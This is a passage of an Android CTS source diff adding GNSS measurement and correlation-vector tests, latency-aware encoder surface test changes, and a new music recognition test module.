 package android.location.cts.privileged;
 
 import android.Manifest;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssRequest;
 import android.location.Location;
@@ -26,7 +27,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -89,11 +89,8 @@
      * Test GPS measurements registration with full tracking enabled.
      */
     public void testGnssMeasurementRegistration_enableFullTracking() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.R,
-                mTestLocationManager,
-                TAG)) {
+        // Checks if GPS hardware feature is present, skips test (pass) if not.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -107,13 +104,35 @@
         mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
                 new GnssRequest.Builder().setFullTracking(true).build());
 
-        mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict verifyStatus will assert conditions are good for further testing.
-            // Else this returns false and, we arrive here, and then return from here (pass.)
+        verifyGnssMeasurementsReceived();
+    }
+
+    /**
+     * Test GPS measurements registration with correlation vector outputs enabled
+     */
+    public void testGnssMeasurementRegistration_enableCorrelationOutputs() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
+        if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+                new GnssMeasurementRequest.Builder().
+                        setCorrelationVectorOutputsEnabled(true).build());
+
+        verifyGnssMeasurementsReceived();
+    }
+
+    private void verifyGnssMeasurementsReceived() throws InterruptedException {
+        mMeasurementListener.await();
+
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
 
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..ced41ba
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
@@ -0,0 +1,92 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssMeasurementRequest;
+import android.location.LocationManager;
+import android.os.Parcel;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+    private Context mContext;
+    private LocationManager mLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        mLocationManager = mContext.getSystemService(LocationManager.class);
+        assertNotNull(mLocationManager);
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testGetValues() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        assertTrue(request1.isCorrelationVectorOutputsEnabled());
+        GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+        assertFalse(request2.isCorrelationVectorOutputsEnabled());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+        assertEquals(request.describeContents(), 0);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+        Parcel parcel = Parcel.obtain();
+        request.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+        assertEquals(request, fromParcel);
+    }
+
+    @Test
+    public void testEquals() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+        GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+        assertEquals(request1, request2);
+        assertNotEquals(request3, request2);
+    }
+
+    private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean correlationVectorOutputs) {
+        GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+        builder.setCorrelationVectorOutputsEnabled(correlationVectorOutputs);
+        return builder.build();
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
new file mode 100644
index 0000000..ca7a1fc
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.CorrelationVector;
+import android.location.GnssMeasurement;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import java.util.ArrayList;
+import java.util.Collection;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementTest {
+
+    private static final Collection<CorrelationVector> TEST_CORRELATION_VECTORS =
+            createTestCorrelationVectors();
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        assertEquals(0, measurement.describeContents());
+    }
+
+    @Test
+    public void testReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        measurement.reset();
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        Parcel parcel = Parcel.obtain();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newMeasurement);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testSet() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        GnssMeasurement newMeasurement = new GnssMeasurement();
+        newMeasurement.set(measurement);
+        verifyTestValues(newMeasurement);
+    }
+
+    @Test
+    public void testSetReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+
+        assertTrue(measurement.hasCorrelationVectors());
+        measurement.resetCorrelationVectors();
+        assertFalse(measurement.hasCorrelationVectors());
+    }
+
+    private static void setTestValues(GnssMeasurement measurement) {
+        measurement.setCorrelationVectors(TEST_CORRELATION_VECTORS);
+    }
+
+    private static void verifyTestValues(GnssMeasurement measurement) {
+        Collection<CorrelationVector> correlationVectors = measurement.getCorrelationVectors();
+        assertArrayEquals(
+                TEST_CORRELATION_VECTORS.toArray(
+                        new CorrelationVector[TEST_CORRELATION_VECTORS.size()]),
+                correlationVectors.toArray(new CorrelationVector[correlationVectors.size()]));
+    }
+
+    private static Collection<CorrelationVector> createTestCorrelationVectors() {
+        Collection<CorrelationVector> correlationVectors = new ArrayList<>();
+        correlationVectors.add(
+                new CorrelationVector.Builder()
+                        .setSamplingWidthMeters(30d)
+                        .setSamplingStartMeters(10d)
+                        .setFrequencyOffsetMetersPerSecond(10)
+                        .setMagnitude(new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0})
+                        .build());
+        correlationVectors.add(
+                new CorrelationVector.Builder()
+                        .setSamplingWidthMeters(30d)
+                        .setSamplingStartMeters(20d)
+                        .setFrequencyOffsetMetersPerSecond(20)
+                        .setMagnitude(new int[] {0, 3000, 5000, 3000, 0, 0, 1000, 0})
+                        .build());
+        return correlationVectors;
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
new file mode 100644
index 0000000..74c67d4
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
@@ -0,0 +1,140 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssCapabilities;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test the {@link GnssMeasurement} values.
+ *
+ * 1. Register for location updates.
+ * 2. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ *        3.1 Confirm locations have been found.
+ * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
+ *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ *    does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s, the test will fail if any of the fields is not populated
+ *    or in the expected range.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementValuesTest {
+
+    private static final String TAG = "GnssMeasValuesTest";
+    private static final int LOCATION_TO_COLLECT_COUNT = 20;
+
+    private Context mContext;
+    private TestGnssMeasurementListener mMeasurementListener;
+    private TestLocationListener mLocationListener;
+    private TestLocationManager mTestLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+        mTestLocationManager = new TestLocationManager(mContext);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mMeasurementListener != null) {
+            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+        }
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+     * It only performs valid checks for the measurements received.
+     * This tests uses actual data retrieved from GPS HAL.
+     */
+    @Test
+    public void testListenForGnssMeasurements() throws Exception {
+        boolean isCorrVecSupported = false;
+        boolean isSatPvtSupported = false;
+
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
+            return;
+        }
+
+        if (TestMeasurementUtil.isAutomotiveDevice(mContext)) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        GnssCapabilities capabilities = mTestLocationManager.getLocationManager().
+                getGnssCapabilities();
+        isSatPvtSupported = capabilities.hasSatellitePvt();
+        isCorrVecSupported = capabilities.hasMeasurementCorrelationVectors();
+
+        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        mMeasurementListener = new TestGnssMeasurementListener(TAG);
+        mTestLocationManager.registerGnssMeasurementCallback(
+                mMeasurementListener,
+                new GnssMeasurementRequest.Builder()
+                        .setCorrelationVectorOutputsEnabled(isCorrVecSupported)
+                        .build());
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        boolean success = mLocationListener.await();
+        softAssert.assertTrue(
+                "Time elapsed without getting enough location fixes."
+                        + " Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.",
+                success);
+
+        Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        int eventCount = events.size();
+        Log.i(TAG, "Number of GnssMeasurement Event received = " + eventCount);
+
+        softAssert.assertTrue(
+                "GnssMeasurementEvent count", "X > 0",
+                String.valueOf(eventCount), eventCount > 0);
+
+        for (GnssMeasurementsEvent event : events) {
+            // Verify Gps Event optional fields are in required ranges
+            assertNotNull("GnssMeasurementEvent cannot be null.", event);
+            long timeInNs = event.getClock().getTimeNanos();
+            for (GnssMeasurement measurement : event.getMeasurements()) {
+                TestMeasurementUtil.assertAllGnssMeasurementSystemFields(mTestLocationManager,
+                    measurement, softAssert, timeInNs, isCorrVecSupported, isSatPvtSupported);
+            }
+        }
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 0617211..3c15844 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="media" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="host" />
         <option name="config-filename" value="CtsMediaV2TestCases" />
diff --git a/tests/media/OWNERS b/tests/media/OWNERS
index 4f734c8..ad8bb0a 100644
--- a/tests/media/OWNERS
+++ b/tests/media/OWNERS
@@ -9,3 +9,7 @@
 marcone@google.com
 pawin@google.com
 wonsik@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
index bcf6ef1..5444dcb 100644
--- a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
@@ -50,6 +50,8 @@
     int mEncBitrate;
     int mEncFramerate;
     int mMaxBFrames;
+    int mLatency;
+    bool mReviseLatency;
     int mMuxTrackID;
 
     OutputManager* mOutputBuff;
@@ -91,6 +93,8 @@
     mEncoder = nullptr;
     resetContext(false, false);
     mMaxBFrames = 0;
+    mLatency = mMaxBFrames;
+    mReviseLatency = false;
     mMuxTrackID = -1;
 }
 
@@ -167,6 +171,9 @@
     CHECK_STATUS(AMediaCodec_configure(mEncoder, mEncFormat, nullptr, nullptr,
                                        AMEDIACODEC_CONFIGURE_FLAG_ENCODE),
                  "AMediaCodec_configure failed");
+    AMediaFormat* inpFormat = AMediaCodec_getInputFormat(mEncoder);
+    mReviseLatency = AMediaFormat_getInt32(inpFormat, AMEDIAFORMAT_KEY_LATENCY, &mLatency);
+    AMediaFormat_delete(inpFormat);
     CHECK_STATUS(AMediaCodec_createInputSurface(mEncoder, &mWindow),
                  "AMediaCodec_createInputSurface failed");
     CHECK_STATUS(mAsyncHandleDecoder.setCallBack(mDecoder, isAsync),
@@ -302,6 +309,24 @@
 bool CodecEncoderSurfaceTest::tryEncoderOutput(long timeOutUs) {
     if (mIsCodecInAsyncMode) {
         if (!hasSeenError() && !mSawEncOutputEOS) {
+            int retry = 0;
+            while (mReviseLatency) {
+                if (mAsyncHandleEncoder.hasOutputFormatChanged()) {
+                    int actualLatency;
+                    mReviseLatency = false;
+                    if (AMediaFormat_getInt32(mAsyncHandleEncoder.getOutputFormat(),
+                                              AMEDIAFORMAT_KEY_LATENCY, &actualLatency)) {
+                        if (mLatency < actualLatency) {
+                            mLatency = actualLatency;
+                            return !hasSeenError();
+                        }
+                    }
+                } else {
+                    if (retry > 10) return false;
+                    usleep(timeOutUs);
+                    retry ++;
+                }
+            }
             callbackObject element = mAsyncHandleEncoder.getOutput();
             if (element.bufferIndex >= 0) {
                 if (!dequeueEncoderOutput(element.bufferIndex, &element.bufferInfo)) return false;
@@ -314,6 +339,9 @@
             if (bufferID >= 0) {
                 if (!dequeueEncoderOutput(bufferID, &outInfo)) return false;
             } else if (bufferID == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+                AMediaFormat* outFormat = AMediaCodec_getOutputFormat(mEncoder);
+                AMediaFormat_getInt32(outFormat, AMEDIAFORMAT_KEY_LATENCY, &mLatency);
+                AMediaFormat_delete(outFormat);
             } else if (bufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
             } else if (bufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             } else {
@@ -367,7 +395,7 @@
                 if (!dequeueDecoderOutput(element.bufferIndex, &element.bufferInfo)) return false;
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
@@ -389,7 +417,7 @@
                 }
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
@@ -416,8 +444,7 @@
             // check decoder EOS
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
             // encoder output
-            // TODO: remove fixed constant and change it according to encoder latency
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
@@ -445,8 +472,7 @@
                 return false;
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
-            // TODO: remove fixed constant and change it according to encoder latency
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index d84e4d1..1f33f13 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -141,6 +141,7 @@
 }
 
 void CodecAsyncHandler::setOutputFormat(AMediaFormat* format) {
+    std::unique_lock<std::mutex> lock{mMutex};
     assert(format != nullptr);
     if (mOutFormat) {
         AMediaFormat_delete(mOutFormat);
@@ -151,10 +152,12 @@
 }
 
 AMediaFormat* CodecAsyncHandler::getOutputFormat() {
+    std::unique_lock<std::mutex> lock{mMutex};
     return mOutFormat;
 }
 
 bool CodecAsyncHandler::hasOutputFormatChanged() {
+    std::unique_lock<std::mutex> lock{mMutex};
     return mSignalledOutFormatChanged;
 }
 
diff --git a/tests/media/jni/NativeCodecTestBase.h b/tests/media/jni/NativeCodecTestBase.h
index 4282e4a..c950d86 100644
--- a/tests/media/jni/NativeCodecTestBase.h
+++ b/tests/media/jni/NativeCodecTestBase.h
@@ -63,7 +63,7 @@
     std::list<callbackObject> mCbInputQueue;
     std::list<callbackObject> mCbOutputQueue;
     AMediaFormat* mOutFormat;
-    bool mSignalledOutFormatChanged;
+    volatile bool mSignalledOutFormatChanged;
     volatile bool mSignalledError;
 
   public:
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
index 7a9fde1..7d93fad 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
@@ -56,6 +56,8 @@
     private final int mBitrate;
     private final int mFrameRate;
     private final int mMaxBFrames;
+    private int mLatency;
+    private boolean mReviseLatency;
 
     private MediaExtractor mExtractor;
     private MediaCodec mEncoder;
@@ -92,6 +94,8 @@
         mBitrate = bitrate;
         mFrameRate = frameRate;
         mMaxBFrames = 0;
+        mLatency = mMaxBFrames;
+        mReviseLatency = false;
         mAsyncHandleDecoder = new CodecAsyncHandler();
         mAsyncHandleEncoder = new CodecAsyncHandler();
     }
@@ -157,6 +161,10 @@
         resetContext(isAsync, signalEOSWithLastFrame);
         mAsyncHandleEncoder.setCallBack(mEncoder, isAsync);
         mEncoder.configure(encFormat, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+        if (mEncoder.getInputFormat().containsKey(MediaFormat.KEY_LATENCY)) {
+            mReviseLatency = true;
+            mLatency = mEncoder.getInputFormat().getInteger(MediaFormat.KEY_LATENCY);
+        }
         mSurface = mEncoder.createInputSurface();
         assertTrue("Surface is not valid", mSurface.isValid());
         mAsyncHandleDecoder.setCallBack(mDecoder, isAsync);
@@ -254,6 +262,23 @@
     private void tryEncoderOutput(long timeOutUs) throws InterruptedException {
         if (mIsCodecInAsyncMode) {
             if (!hasSeenError() && !mSawEncOutputEOS) {
+                int retry = 0;
+                while (mReviseLatency) {
+                    if (mAsyncHandleEncoder.hasOutputFormatChanged()) {
+                        mReviseLatency = false;
+                        int actualLatency = mAsyncHandleEncoder.getOutputFormat()
+                                .getInteger(MediaFormat.KEY_LATENCY, mLatency);
+                        if (mLatency < actualLatency) {
+                            mLatency = actualLatency;
+                            return;
+                        }
+                    } else {
+                        if (retry > 10) throw new InterruptedException(
+                                "did not receive output format changed for encoder");
+                        Thread.sleep(timeOutUs / 1000);
+                        retry ++;
+                    }
+                }
                 Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandleEncoder.getOutput();
                 if (element != null) {
                     dequeueEncoderOutput(element.first, element.second);
@@ -265,6 +290,9 @@
                 int outputBufferId = mEncoder.dequeueOutputBuffer(outInfo, timeOutUs);
                 if (outputBufferId >= 0) {
                     dequeueEncoderOutput(outputBufferId, outInfo);
+                } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    mLatency = mEncoder.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_LATENCY, mLatency);
                 }
             }
         }
@@ -304,8 +332,7 @@
                 Pair<Integer, MediaCodec.BufferInfo> decOp = mAsyncHandleDecoder.getOutput();
                 if (decOp != null) dequeueDecoderOutput(decOp.first, decOp.second);
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
@@ -318,8 +345,7 @@
                     dequeueDecoderOutput(outputBufferId, outInfo);
                 }
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
@@ -347,8 +373,7 @@
                 // check decoder EOS
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
                 // encoder output
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
@@ -370,8 +395,7 @@
                 // check decoder EOS
                 if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
                 // encoder output
-                // TODO: remove fixed constant and change it according to encoder latency
-                if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+                if (mDecOutputCount - mEncOutputCount > mLatency) {
                     tryEncoderOutput(-1);
                 }
             }
diff --git a/tests/musicrecognition/Android.bp b/tests/musicrecognition/Android.bp
new file mode 100644
index 0000000..fccb736
--- /dev/null
+++ b/tests/musicrecognition/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMusicRecognitionTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+    ],
+    sdk_version: "system_current",
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/musicrecognition/AndroidManifest.xml b/tests/musicrecognition/AndroidManifest.xml
new file mode 100644
index 0000000..c4b6df2
--- /dev/null
+++ b/tests/musicrecognition/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.musicrecognition.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION" />
+
+    <application>
+
+        <uses-library android:name="android.test.runner"/>
+
+        <service android:name=".CtsMusicRecognitionService"
+             android:label="CtsCMusicRecognitionService"
+             android:permission="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.musicrecognition.MUSIC_RECOGNITION"/>
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the MusicRecognitionManager APIs."
+         android:targetPackage="android.musicrecognition.cts">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
new file mode 100644
index 0000000..918df5a
--- /dev/null
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for MusicRecognition CTS tests.">
+  <option name="test-suite-tag" value="cts" />
+  <option name="hidden-api-checks" value="false"/>
+  <option name="config-descriptor:metadata" key="component" value="framework" />
+
+  <!-- Only available to recents, which can't be an instant app. -->
+  <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+  <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+  <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+  <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <option name="cleanup-apks" value="true" />
+    <option name="test-file-name" value="CtsMusicRecognitionTestCases.apk" />
+    <option name="test-file-name" value="CtsOutsideOfPackageService.apk" />
+  </target_preparer>
+  <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+    <option name="package" value="android.musicrecognition.cts" />
+  </test>
+
+</configuration>
diff --git a/tests/musicrecognition/OWNERS b/tests/musicrecognition/OWNERS
new file mode 100644
index 0000000..910abcb
--- /dev/null
+++ b/tests/musicrecognition/OWNERS
@@ -0,0 +1,6 @@
+# Bug component: 830636
+
+chfrank@google.com
+joannechung@google.com
